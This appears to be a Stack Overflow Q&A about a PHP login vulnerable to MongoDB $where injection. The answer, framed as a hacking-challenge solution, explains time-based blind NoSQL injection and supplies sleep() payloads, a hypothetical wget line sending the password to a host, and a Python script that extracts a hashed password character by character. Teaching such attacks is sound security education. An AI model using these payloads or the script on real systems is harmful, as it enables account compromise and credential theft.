Aditya
Aditya

Reputation: 4463

blind mongodb serverside injection?

I have a mongodb query like this:

$cur = $db->users->findOne(array('$where' => "this.username == '$username'"));

And then i check for password security like this:

if($cur == NULL) { // Login not successful
    $errors[] = "Invalid user.";
  } else if($cur['password'] != $password) { // Login not successful
    $errors[] = "Invalid password.";
  } else { // Login successful
    $user = $cur;
  }

I was thinking if its vulnerable to server-side javascript injection if using GET to receive the value of $username.

I've researched a bit and found that it is possible using something like this:

?username=admin';tojsononeline(this.password) OR
?username=admin’;[injected code]var foo=’bar

Is there someway to get the value of the password using injection code put inside username GET parameter?

Upvotes: 0

Views: 3577

Answers (1)

Dalton
Dalton

Reputation: 106

I know this is 8 months late, but in the hopes that I may help fellow hackers out, I'm going to go ahead and answer it.

First, I'd like to say I know exactly what you (were) working on, and it was a fun challenge. I'm experienced with classic SQL injections, but I haven't had any exposure to NoSQL until playing around with these challenges.

Your answer is blind SQL injection. Er....blind NoSQL injection. If you don't know about these, please go research a bit before I spoil the fun for you.

With a standard SQL injection, you'd be able to insert/update/drop/select/etc. on whatever you were injecting into, and be able to see some kind of database error or result. It would be spit out in the page, and you'd be a happy hacker.

With a blind SQL injection, you don't get that luxury. Sure, you may be able to select more records than intended, but you don't get the actual results returned to you. This is what's going on in your particular issue. The data isn't displayed in the page, but it is used for some login logic.

So, how could we go about determining what the password is? Short answer: you can't.

BUT, if we get tricky with our queries, we may be able to use a side channel to get what we want. For instance, in your second example, you say you can inject some code and that gets run in the MongoDB connection. (once again, I don't know the proper terminology here) Well, what sorts of code? All legal JavaScript? Nifty. What kind of JavaScript stuff is available to the MongoDB instance?

When I first figured out I could run valid JS in this challenge, I thought "maybe there's a remote command execution with MongoDB's 'run' function..." Unfortunately, I wasn't able to do that. If I had been able to do that, I could maybe do a run('wget', 'http://example.com:1337/'+this.password), which should make a simple get request with the resource being the password that I wanted to extract. But for whatever reason (you know, making sure hackers can't actually break the game) I wasn't able to do that.

So I can run code, but I can't just make a simple call out and get the password. Damn. What can I do?

Well I can use the 'this.password' variable just like any other. I can't actually make extra connections though. Perhaps I could query that variable in pieces and do something noticeable based on the value of those pieces.

I trust you've read about blind SQL injections by now. If you haven't, please go read that so you can understand what I'm talking about and don't cheat yourself of the fun. ;)

With a blind SQL injection, you're able to ask boolean questions. For instance, you could say "if the first character of the password is 'a', then do something.' Sometimes you can get a "yes" or a "no" printed on the page that you're attacking, but don't bet on that. When you can't, you usually can get the server to take a different amount of time to reply. In our case, JavaScript has a builtin sleep function. Our side channel is response time.

So, the first thing I decided to do was find out the length of the password. Luckily, all JavaScript strings are objects, and they have a length property. So something like....

if(this.password.length==1){sleep(10000);}

...will make the site take forever to respond, as long as that condition is true. (Hint: it ain't one character long) This was a great indicator.

Once I figured out the length, I made a wild assumption based on that length. It's not too much of a leap, and it worked, so I don't think it was that far of a jump to make. Anyway, it's 32 characters long....what other things are 32 characters long? Hashes. This must be some kind of a hash that I'm pulling, not some easy to guess password, like pokemon or whatever. (NOTE: The code presented in the question doesn't hash the input value first, it simply uses whatever the user supplied. The challenge creator doesn't actually hash passwords [he stores them in plain text], but just used some random hash in order to make it a hard to guess -- and poorly stored -- password.)

And so, with that in mind, that allowed me to narrow my character set down a lot. Instead of trying all 255 ASCII values for each byte of the 32 character password, I was able to just try and guess [a-f0-9], which is a significantly smaller haystack.

So now I would ask questions like...

if(this.password[0]=="a"){sleep(100000);

...and that would tell me if the first character was "a".

Continue in this fashion, and you will have the password within a few minutes. I will say, doing this manually is agonizing. That's why all us hackers should be coders, too.

I know it'll spoil the fun and give away the answer, but I don't think I'm breaking any rules if I give away my code for this. So without further ado, I give you....blind.py:

#!/usr/bin/env python

from urllib import request as ureq
import socket, time

charset = "abcdef0123456789"
pass_len = 32
answer = ""

url_template = '''http://example.com/?action=login&username=blahblah%27;if(*****QUESTION*****){{sleep(4000);}}%20var%20foo=%27bar&pasword=blahblah'''

while len(answer) < pass_len:
    for c in charset:
        try:
            #print('''Sending: {}'''.format(url_template.format(len(answer), c)))
            ureq.urlopen(url_template.format(len(answer), c), timeout=2)
        except socket.timeout:
            answer += c
            time.sleep(3)
            print('''\033[92m[+]\033[0m Got another char, '\033[31m{}\033[0m'! Current pass: \033[31m{}\033[0m'''.format(c, answer))
            break

print('''\033[92m[!]\033[0m Final answer: \033[31m{}\033[0m'''.format(answer))

(Edit: Please know that all that silly '\033[92m' sort of stuff is just terminal escape sequences that allow me to color code the output in your terminal. I just chose colors that looked good on my color scheme. They are not necessary and can be safely removed, provided you don't mess up the template of the string. See python format strings for more information on how the templates work.)

Now, you'll notice you can't just copy and paste this and run it. It won't work. You need to change a couple things (the domain and question). But if you think about it a bit, I've saved you the time of coding an automated script.

Happy hacking.

Related Reading:

https://dl.packetstormsecurity.net/papers/general/timebased-nosql.txt

https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

Upvotes: 3

Related Questions